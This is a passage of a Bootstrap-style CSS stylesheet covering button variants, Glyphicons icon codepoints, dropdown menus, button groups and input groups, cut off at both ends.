none;\n}\n\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n  background-color: #d9534f;\n  border-color: #d43f3a;\n}\n\n.btn-danger .badge {\n  color: #d9534f;\n  background-color: #fff;\n}\n\n.btn-success {\n  color: #ffffff;\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n\n.btn-success:hover,\n.btn-success:focus,\n.btn-success:active,\n.btn-success.active,\n.open .dropdown-toggle.btn-success {\n  color: #ffffff;\n  background-color: #47a447;\n  border-color: #398439;\n}\n\n.btn-success:active,\n.btn-success.active,\n.open .dropdown-toggle.btn-success {\n  background-image: none;\n}\n\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n  background-color: #5cb85c;\n  border-color: #4cae4c;\n}\n\n.btn-success .badge {\n  color: #5cb85c;\n  background-color: #fff;\n}\n\n.btn-info {\n  color: #ffffff;\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n\n.btn-info:hover,\n.btn-info:focus,\n.btn-info:active,\n.btn-info.active,\n.open .dropdown-toggle.btn-info {\n  color: #ffffff;\n  background-color: #39b3d7;\n  border-color: #269abc;\n}\n\n.btn-info:active,\n.btn-info.active,\n.open .dropdown-toggle.btn-info {\n  background-image: none;\n}\n\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n  background-color: #5bc0de;\n  border-color: #46b8da;\n}\n\n.btn-info .badge {\n  color: #5bc0de;\n  background-color: #fff;\n}\n\n.btn-link {\n  font-weight: normal;\n  color: #428bca;\n  cursor: pointer;\n  border-radius: 0;\n}\n\n.btn-link,\n.btn-link:active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n  background-color: transparent;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n  border-color: transparent;\n}\n\n.btn-link:hover,\n.btn-link:focus {\n  color: #2a6496;\n  text-decoration: underline;\n  background-color: transparent;\n}\n\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n  color: #999999;\n  text-decoration: none;\n}\n\n.btn-lg {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.33;\n  border-radius: 6px;\n}\n\n.btn-sm {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\n.btn-xs {\n  padding: 1px 5px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\n.btn-block {\n  display: block;\n  width: 100%;\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.btn-block + .btn-block {\n  margin-top: 5px;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity 0.15s linear;\n          transition: opacity 0.15s linear;\n}\n\n.fade.in {\n  opacity: 1;\n}\n\n.collapse {\n  display: none;\n}\n\n.collapse.in {\n  display: block;\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition: height 0.35s ease;\n          transition: height 0.35s ease;\n}\n\n@font-face {\n  font-family: 'Glyphicons Halflings';\n  src: url('../fonts/glyphicons-halflings-regular.eot');\n  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular') format('svg');\n}\n\n.glyphicon {\n  position: relative;\n  top: 1px;\n  display: inline-block;\n  font-family: 'Glyphicons Halflings';\n  -webkit-font-smoothing: antialiased;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1;\n  -moz-osx-font-smoothing: grayscale;\n}\n\n.glyphicon:empty {\n  width: 1em;\n}\n\n.glyphicon-asterisk:before {\n  content: \"\\2a\";\n}\n\n.glyphicon-plus:before {\n  content: \"\\2b\";\n}\n\n.glyphicon-euro:before {\n  content: \"\\20ac\";\n}\n\n.glyphicon-minus:before {\n  content: \"\\2212\";\n}\n\n.glyphicon-cloud:before {\n  content: \"\\2601\";\n}\n\n.glyphicon-envelope:before {\n  content: \"\\2709\";\n}\n\n.glyphicon-pencil:before {\n  content: \"\\270f\";\n}\n\n.glyphicon-glass:before {\n  content: \"\\e001\";\n}\n\n.glyphicon-music:before {\n  content: \"\\e002\";\n}\n\n.glyphicon-search:before {\n  content: \"\\e003\";\n}\n\n.glyphicon-heart:before {\n  content: \"\\e005\";\n}\n\n.glyphicon-star:before {\n  content: \"\\e006\";\n}\n\n.glyphicon-star-empty:before {\n  content: \"\\e007\";\n}\n\n.glyphicon-user:before {\n  content: \"\\e008\";\n}\n\n.glyphicon-film:before {\n  content: \"\\e009\";\n}\n\n.glyphicon-th-large:before {\n  content: \"\\e010\";\n}\n\n.glyphicon-th:before {\n  content: \"\\e011\";\n}\n\n.glyphicon-th-list:before {\n  content: \"\\e012\";\n}\n\n.glyphicon-ok:before {\n  content: \"\\e013\";\n}\n\n.glyphicon-remove:before {\n  content: \"\\e014\";\n}\n\n.glyphicon-zoom-in:before {\n  content: \"\\e015\";\n}\n\n.glyphicon-zoom-out:before {\n  content: \"\\e016\";\n}\n\n.glyphicon-off:before {\n  content: \"\\e017\";\n}\n\n.glyphicon-signal:before {\n  content: \"\\e018\";\n}\n\n.glyphicon-cog:before {\n  content: \"\\e019\";\n}\n\n.glyphicon-trash:before {\n  content: \"\\e020\";\n}\n\n.glyphicon-home:before {\n  content: \"\\e021\";\n}\n\n.glyphicon-file:before {\n  content: \"\\e022\";\n}\n\n.glyphicon-time:before {\n  content: \"\\e023\";\n}\n\n.glyphicon-road:before {\n  content: \"\\e024\";\n}\n\n.glyphicon-download-alt:before {\n  content: \"\\e025\";\n}\n\n.glyphicon-download:before {\n  content: \"\\e026\";\n}\n\n.glyphicon-upload:before {\n  content: \"\\e027\";\n}\n\n.glyphicon-inbox:before {\n  content: \"\\e028\";\n}\n\n.glyphicon-play-circle:before {\n  content: \"\\e029\";\n}\n\n.glyphicon-repeat:before {\n  content: \"\\e030\";\n}\n\n.glyphicon-refresh:before {\n  content: \"\\e031\";\n}\n\n.glyphicon-list-alt:before {\n  content: \"\\e032\";\n}\n\n.glyphicon-lock:before {\n  content: \"\\e033\";\n}\n\n.glyphicon-flag:before {\n  content: \"\\e034\";\n}\n\n.glyphicon-headphones:before {\n  content: \"\\e035\";\n}\n\n.glyphicon-volume-off:before {\n  content: \"\\e036\";\n}\n\n.glyphicon-volume-down:before {\n  content: \"\\e037\";\n}\n\n.glyphicon-volume-up:before {\n  content: \"\\e038\";\n}\n\n.glyphicon-qrcode:before {\n  content: \"\\e039\";\n}\n\n.glyphicon-barcode:before {\n  content: \"\\e040\";\n}\n\n.glyphicon-tag:before {\n  content: \"\\e041\";\n}\n\n.glyphicon-tags:before {\n  content: \"\\e042\";\n}\n\n.glyphicon-book:before {\n  content: \"\\e043\";\n}\n\n.glyphicon-bookmark:before {\n  content: \"\\e044\";\n}\n\n.glyphicon-print:before {\n  content: \"\\e045\";\n}\n\n.glyphicon-camera:before {\n  content: \"\\e046\";\n}\n\n.glyphicon-font:before {\n  content: \"\\e047\";\n}\n\n.glyphicon-bold:before {\n  content: \"\\e048\";\n}\n\n.glyphicon-italic:before {\n  content: \"\\e049\";\n}\n\n.glyphicon-text-height:before {\n  content: \"\\e050\";\n}\n\n.glyphicon-text-width:before {\n  content: \"\\e051\";\n}\n\n.glyphicon-align-left:before {\n  content: \"\\e052\";\n}\n\n.glyphicon-align-center:before {\n  content: \"\\e053\";\n}\n\n.glyphicon-align-right:before {\n  content: \"\\e054\";\n}\n\n.glyphicon-align-justify:before {\n  content: \"\\e055\";\n}\n\n.glyphicon-list:before {\n  content: \"\\e056\";\n}\n\n.glyphicon-indent-left:before {\n  content: \"\\e057\";\n}\n\n.glyphicon-indent-right:before {\n  content: \"\\e058\";\n}\n\n.glyphicon-facetime-video:before {\n  content: \"\\e059\";\n}\n\n.glyphicon-picture:before {\n  content: \"\\e060\";\n}\n\n.glyphicon-map-marker:before {\n  content: \"\\e062\";\n}\n\n.glyphicon-adjust:before {\n  content: \"\\e063\";\n}\n\n.glyphicon-tint:before {\n  content: \"\\e064\";\n}\n\n.glyphicon-edit:before {\n  content: \"\\e065\";\n}\n\n.glyphicon-share:before {\n  content: \"\\e066\";\n}\n\n.glyphicon-check:before {\n  content: \"\\e067\";\n}\n\n.glyphicon-move:before {\n  content: \"\\e068\";\n}\n\n.glyphicon-step-backward:before {\n  content: \"\\e069\";\n}\n\n.glyphicon-fast-backward:before {\n  content: \"\\e070\";\n}\n\n.glyphicon-backward:before {\n  content: \"\\e071\";\n}\n\n.glyphicon-play:before {\n  content: \"\\e072\";\n}\n\n.glyphicon-pause:before {\n  content: \"\\e073\";\n}\n\n.glyphicon-stop:before {\n  content: \"\\e074\";\n}\n\n.glyphicon-forward:before {\n  content: \"\\e075\";\n}\n\n.glyphicon-fast-forward:before {\n  content: \"\\e076\";\n}\n\n.glyphicon-step-forward:before {\n  content: \"\\e077\";\n}\n\n.glyphicon-eject:before {\n  content: \"\\e078\";\n}\n\n.glyphicon-chevron-left:before {\n  content: \"\\e079\";\n}\n\n.glyphicon-chevron-right:before {\n  content: \"\\e080\";\n}\n\n.glyphicon-plus-sign:before {\n  content: \"\\e081\";\n}\n\n.glyphicon-minus-sign:before {\n  content: \"\\e082\";\n}\n\n.glyphicon-remove-sign:before {\n  content: \"\\e083\";\n}\n\n.glyphicon-ok-sign:before {\n  content: \"\\e084\";\n}\n\n.glyphicon-question-sign:before {\n  content: \"\\e085\";\n}\n\n.glyphicon-info-sign:before {\n  content: \"\\e086\";\n}\n\n.glyphicon-screenshot:before {\n  content: \"\\e087\";\n}\n\n.glyphicon-remove-circle:before {\n  content: \"\\e088\";\n}\n\n.glyphicon-ok-circle:before {\n  content: \"\\e089\";\n}\n\n.glyphicon-ban-circle:before {\n  content: \"\\e090\";\n}\n\n.glyphicon-arrow-left:before {\n  content: \"\\e091\";\n}\n\n.glyphicon-arrow-right:before {\n  content: \"\\e092\";\n}\n\n.glyphicon-arrow-up:before {\n  content: \"\\e093\";\n}\n\n.glyphicon-arrow-down:before {\n  content: \"\\e094\";\n}\n\n.glyphicon-share-alt:before {\n  content: \"\\e095\";\n}\n\n.glyphicon-resize-full:before {\n  content: \"\\e096\";\n}\n\n.glyphicon-resize-small:before {\n  content: \"\\e097\";\n}\n\n.glyphicon-exclamation-sign:before {\n  content: \"\\e101\";\n}\n\n.glyphicon-gift:before {\n  content: \"\\e102\";\n}\n\n.glyphicon-leaf:before {\n  content: \"\\e103\";\n}\n\n.glyphicon-fire:before {\n  content: \"\\e104\";\n}\n\n.glyphicon-eye-open:before {\n  content: \"\\e105\";\n}\n\n.glyphicon-eye-close:before {\n  content: \"\\e106\";\n}\n\n.glyphicon-warning-sign:before {\n  content: \"\\e107\";\n}\n\n.glyphicon-plane:before {\n  content: \"\\e108\";\n}\n\n.glyphicon-calendar:before {\n  content: \"\\e109\";\n}\n\n.glyphicon-random:before {\n  content: \"\\e110\";\n}\n\n.glyphicon-comment:before {\n  content: \"\\e111\";\n}\n\n.glyphicon-magnet:before {\n  content: \"\\e112\";\n}\n\n.glyphicon-chevron-up:before {\n  content: \"\\e113\";\n}\n\n.glyphicon-chevron-down:before {\n  content: \"\\e114\";\n}\n\n.glyphicon-retweet:before {\n  content: \"\\e115\";\n}\n\n.glyphicon-shopping-cart:before {\n  content: \"\\e116\";\n}\n\n.glyphicon-folder-close:before {\n  content: \"\\e117\";\n}\n\n.glyphicon-folder-open:before {\n  content: \"\\e118\";\n}\n\n.glyphicon-resize-vertical:before {\n  content: \"\\e119\";\n}\n\n.glyphicon-resize-horizontal:before {\n  content: \"\\e120\";\n}\n\n.glyphicon-hdd:before {\n  content: \"\\e121\";\n}\n\n.glyphicon-bullhorn:before {\n  content: \"\\e122\";\n}\n\n.glyphicon-bell:before {\n  content: \"\\e123\";\n}\n\n.glyphicon-certificate:before {\n  content: \"\\e124\";\n}\n\n.glyphicon-thumbs-up:before {\n  content: \"\\e125\";\n}\n\n.glyphicon-thumbs-down:before {\n  content: \"\\e126\";\n}\n\n.glyphicon-hand-right:before {\n  content: \"\\e127\";\n}\n\n.glyphicon-hand-left:before {\n  content: \"\\e128\";\n}\n\n.glyphicon-hand-up:before {\n  content: \"\\e129\";\n}\n\n.glyphicon-hand-down:before {\n  content: \"\\e130\";\n}\n\n.glyphicon-circle-arrow-right:before {\n  content: \"\\e131\";\n}\n\n.glyphicon-circle-arrow-left:before {\n  content: \"\\e132\";\n}\n\n.glyphicon-circle-arrow-up:before {\n  content: \"\\e133\";\n}\n\n.glyphicon-circle-arrow-down:before {\n  content: \"\\e134\";\n}\n\n.glyphicon-globe:before {\n  content: \"\\e135\";\n}\n\n.glyphicon-wrench:before {\n  content: \"\\e136\";\n}\n\n.glyphicon-tasks:before {\n  content: \"\\e137\";\n}\n\n.glyphicon-filter:before {\n  content: \"\\e138\";\n}\n\n.glyphicon-briefcase:before {\n  content: \"\\e139\";\n}\n\n.glyphicon-fullscreen:before {\n  content: \"\\e140\";\n}\n\n.glyphicon-dashboard:before {\n  content: \"\\e141\";\n}\n\n.glyphicon-paperclip:before {\n  content: \"\\e142\";\n}\n\n.glyphicon-heart-empty:before {\n  content: \"\\e143\";\n}\n\n.glyphicon-link:before {\n  content: \"\\e144\";\n}\n\n.glyphicon-phone:before {\n  content: \"\\e145\";\n}\n\n.glyphicon-pushpin:before {\n  content: \"\\e146\";\n}\n\n.glyphicon-usd:before {\n  content: \"\\e148\";\n}\n\n.glyphicon-gbp:before {\n  content: \"\\e149\";\n}\n\n.glyphicon-sort:before {\n  content: \"\\e150\";\n}\n\n.glyphicon-sort-by-alphabet:before {\n  content: \"\\e151\";\n}\n\n.glyphicon-sort-by-alphabet-alt:before {\n  content: \"\\e152\";\n}\n\n.glyphicon-sort-by-order:before {\n  content: \"\\e153\";\n}\n\n.glyphicon-sort-by-order-alt:before {\n  content: \"\\e154\";\n}\n\n.glyphicon-sort-by-attributes:before {\n  content: \"\\e155\";\n}\n\n.glyphicon-sort-by-attributes-alt:before {\n  content: \"\\e156\";\n}\n\n.glyphicon-unchecked:before {\n  content: \"\\e157\";\n}\n\n.glyphicon-expand:before {\n  content: \"\\e158\";\n}\n\n.glyphicon-collapse-down:before {\n  content: \"\\e159\";\n}\n\n.glyphicon-collapse-up:before {\n  content: \"\\e160\";\n}\n\n.glyphicon-log-in:before {\n  content: \"\\e161\";\n}\n\n.glyphicon-flash:before {\n  content: \"\\e162\";\n}\n\n.glyphicon-log-out:before {\n  content: \"\\e163\";\n}\n\n.glyphicon-new-window:before {\n  content: \"\\e164\";\n}\n\n.glyphicon-record:before {\n  content: \"\\e165\";\n}\n\n.glyphicon-save:before {\n  content: \"\\e166\";\n}\n\n.glyphicon-open:before {\n  content: \"\\e167\";\n}\n\n.glyphicon-saved:before {\n  content: \"\\e168\";\n}\n\n.glyphicon-import:before {\n  content: \"\\e169\";\n}\n\n.glyphicon-export:before {\n  content: \"\\e170\";\n}\n\n.glyphicon-send:before {\n  content: \"\\e171\";\n}\n\n.glyphicon-floppy-disk:before {\n  content: \"\\e172\";\n}\n\n.glyphicon-floppy-saved:before {\n  content: \"\\e173\";\n}\n\n.glyphicon-floppy-remove:before {\n  content: \"\\e174\";\n}\n\n.glyphicon-floppy-save:before {\n  content: \"\\e175\";\n}\n\n.glyphicon-floppy-open:before {\n  content: \"\\e176\";\n}\n\n.glyphicon-credit-card:before {\n  content: \"\\e177\";\n}\n\n.glyphicon-transfer:before {\n  content: \"\\e178\";\n}\n\n.glyphicon-cutlery:before {\n  content: \"\\e179\";\n}\n\n.glyphicon-header:before {\n  content: \"\\e180\";\n}\n\n.glyphicon-compressed:before {\n  content: \"\\e181\";\n}\n\n.glyphicon-earphone:before {\n  content: \"\\e182\";\n}\n\n.glyphicon-phone-alt:before {\n  content: \"\\e183\";\n}\n\n.glyphicon-tower:before {\n  content: \"\\e184\";\n}\n\n.glyphicon-stats:before {\n  content: \"\\e185\";\n}\n\n.glyphicon-sd-video:before {\n  content: \"\\e186\";\n}\n\n.glyphicon-hd-video:before {\n  content: \"\\e187\";\n}\n\n.glyphicon-subtitles:before {\n  content: \"\\e188\";\n}\n\n.glyphicon-sound-stereo:before {\n  content: \"\\e189\";\n}\n\n.glyphicon-sound-dolby:before {\n  content: \"\\e190\";\n}\n\n.glyphicon-sound-5-1:before {\n  content: \"\\e191\";\n}\n\n.glyphicon-sound-6-1:before {\n  content: \"\\e192\";\n}\n\n.glyphicon-sound-7-1:before {\n  content: \"\\e193\";\n}\n\n.glyphicon-copyright-mark:before {\n  content: \"\\e194\";\n}\n\n.glyphicon-registration-mark:before {\n  content: \"\\e195\";\n}\n\n.glyphicon-cloud-download:before {\n  content: \"\\e197\";\n}\n\n.glyphicon-cloud-upload:before {\n  content: \"\\e198\";\n}\n\n.glyphicon-tree-conifer:before {\n  content: \"\\e199\";\n}\n\n.glyphicon-tree-deciduous:before {\n  content: \"\\e200\";\n}\n\n.caret {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 2px;\n  vertical-align: middle;\n  border-top: 4px solid;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n}\n\n.dropdown {\n  position: relative;\n}\n\n.dropdown-toggle:focus {\n  outline: 0;\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 5px 0;\n  margin: 2px 0 0;\n  font-size: 14px;\n  list-style: none;\n  background-color: #ffffff;\n  border: 1px solid #cccccc;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 4px;\n  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n          box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n  background-clip: padding-box;\n}\n\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.dropdown-menu .divider {\n  height: 1px;\n  margin: 9px 0;\n  overflow: hidden;\n  background-color: #e5e5e5;\n}\n\n.dropdown-menu > li > a {\n  display: block;\n  padding: 3px 20px;\n  clear: both;\n  font-weight: normal;\n  line-height: 1.428571429;\n  color: #333333;\n  white-space: nowrap;\n}\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n  color: #262626;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: #428bca;\n  outline: 0;\n}\n\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  color: #999999;\n}\n\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n  text-decoration: none;\n  cursor: not-allowed;\n  background-color: transparent;\n  background-image: none;\n  filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);\n}\n\n.open > .dropdown-menu {\n  display: block;\n}\n\n.open > a {\n  outline: 0;\n}\n\n.dropdown-header {\n  display: block;\n  padding: 3px 20px;\n  font-size: 12px;\n  line-height: 1.428571429;\n  color: #999999;\n}\n\n.dropdown-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 990;\n}\n\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  border-top: 0;\n  border-bottom: 4px solid;\n  content: \"\";\n}\n\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 1px;\n}\n\n@media (min-width: 768px) {\n  .navbar-right .dropdown-menu {\n    right: 0;\n    left: auto;\n  }\n}\n\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-block;\n  vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  float: left;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n  z-index: 2;\n}\n\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus {\n  outline: none;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n  margin-left: -1px;\n}\n\n.btn-toolbar:before,\n.btn-toolbar:after {\n  display: table;\n  content: \" \";\n}\n\n.btn-toolbar:after {\n  clear: both;\n}\n\n.btn-toolbar:before,\n.btn-toolbar:after {\n  display: table;\n  content: \" \";\n}\n\n.btn-toolbar:after {\n  clear: both;\n}\n\n.btn-toolbar .btn-group {\n  float: left;\n}\n\n.btn-toolbar > .btn + .btn,\n.btn-toolbar > .btn-group + .btn,\n.btn-toolbar > .btn + .btn-group,\n.btn-toolbar > .btn-group + .btn-group {\n  margin-left: 5px;\n}\n\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n  border-radius: 0;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n  border-bottom-left-radius: 0;\n  border-top-left-radius: 0;\n}\n\n.btn-group > .btn-group {\n  float: left;\n}\n\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n\n.btn-group > .btn-group:first-child > .btn:last-child,\n.btn-group > .btn-group:first-child > .dropdown-toggle {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn-group:last-child > .btn:first-child {\n  border-bottom-left-radius: 0;\n  border-top-left-radius: 0;\n}\n\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n\n.btn-group-xs > .btn {\n  padding: 1px 5px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\n.btn-group-sm > .btn {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\n.btn-group-lg > .btn {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.33;\n  border-radius: 6px;\n}\n\n.btn-group > .btn + .dropdown-toggle {\n  padding-right: 8px;\n  padding-left: 8px;\n}\n\n.btn-group > .btn-lg + .dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n\n.btn-group.open .dropdown-toggle {\n  -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n          box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n\n.btn-group.open .dropdown-toggle.btn-link {\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn .caret {\n  margin-left: 0;\n}\n\n.btn-lg .caret {\n  border-width: 5px 5px 0;\n  border-bottom-width: 0;\n}\n\n.dropup .btn-lg .caret {\n  border-width: 0 5px 5px;\n}\n\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n  display: block;\n  float: none;\n  width: 100%;\n  max-width: 100%;\n}\n\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after {\n  display: table;\n  content: \" \";\n}\n\n.btn-group-vertical > .btn-group:after {\n  clear: both;\n}\n\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after {\n  display: table;\n  content: \" \";\n}\n\n.btn-group-vertical > .btn-group:after {\n  clear: both;\n}\n\n.btn-group-vertical > .btn-group > .btn {\n  float: none;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n  border-top-right-radius: 0;\n  border-bottom-left-radius: 4px;\n  border-top-left-radius: 0;\n}\n\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n\n.btn-group-vertical > .btn-group:first-child > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child > .dropdown-toggle {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn-group:last-child > .btn:first-child {\n  border-top-right-radius: 0;\n  border-top-left-radius: 0;\n}\n\n.btn-group-justified {\n  display: table;\n  width: 100%;\n  border-collapse: separate;\n  table-layout: fixed;\n}\n\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n  display: table-cell;\n  float: none;\n  width: 1%;\n}\n\n.btn-group-justified > .btn-group .btn {\n  width: 100%;\n}\n\n[data-toggle=\"buttons\"] > .btn > input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn > input[type=\"checkbox\"] {\n  display: none;\n}\n\n.input-group {\n  position: relative;\n  display: table;\n  border-collapse: separate;\n}\n\n.input-group[class*=\"col-\"] {\n  float: none;\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.input-group .form-control {\n  width: 100%;\n  margin-bottom: 0;\n}\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.33;\n  border-radius: 6px;\n}\n\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n  height: 46px;\n  line-height: 46px;\n}\n\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn {\n  height: auto;\n}\n\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n  height: 30px;\n  line-height: 30px;\n}\n\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn {\n  height: auto;\n}\n\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n  display: table-cell;\n}\n\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n\n.input-group-addon,\n.input-group-btn {\n  width: 1%;\n  white-space: nowrap;\n  vertical-align: middle;\n}\n\n.input-group-addon {\n  padding: 6px 12px;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 1;\n  color: #555555;\n  text-align: center;\n  background-color: #eeeeee;\n  border: 1px solid #cccccc;\n  border-radius: 4px;\n}\n\n.input-group-addon.input-sm {\n  padding: 5px 10px;\n  font-size: 12px;\n  border-radius: 3px;\n}\n\n.input-group-addon.input-lg {\n  padding: 10px 16px;\n  font-size: 18px;\n  border-radius: 6px;\n}\n\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group-addon:first-child {\n  border-right: 